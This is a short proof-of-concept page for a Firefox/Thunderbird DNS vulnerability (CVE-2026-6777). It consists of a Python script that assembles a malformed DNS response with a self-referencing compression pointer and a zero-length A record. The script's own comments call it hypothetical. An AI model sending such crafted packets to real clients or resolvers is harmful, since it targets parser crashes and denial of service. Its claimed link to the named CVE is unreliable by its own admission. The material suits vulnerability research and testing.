CVE-2026-6777 Firefox/Thunderbird DNS组件漏洞

# Conceptual PoC for CVE-2026-6777 # This script demonstrates a crafted DNS response that may trigger the vulnerability. # Note: Actual exploitation requires specific payload details based on the bug. import socket import struct def create_malformed_dns_response(): # DNS Header: ID=0x1337, Flags=Response, Opcode=0, AA=0, TC=0, RD=0, RA=1, Z=0, RCODE=0 # Query Count=0, Answer Count=1, Authority Count=0, Additional Count=0 header = struct.pack("!HHHHHH", 0x1337, 0x8180, 0, 1, 0, 0) # Question section is empty (0 count) # Answer section: Malformed pointer or length to trigger the parsing issue # This is a hypothetical representation answer_name = b"\xc0\x0c" # Pointer to offset 12 (start of name) answer_type = struct.pack("!H", 1) # Type A answer_class = struct.pack("!H", 1) # Class IN answer_ttl = struct.pack("!I", 3600) answer_len = struct.pack("!H", 0) # Zero length data might cause issues in some parsers answer_data = b"" packet = header + answer_name + answer_type + answer_class + answer_ttl + answer_len + answer_data return packet print("[*] Generated malformed DNS packet for testing purposes.")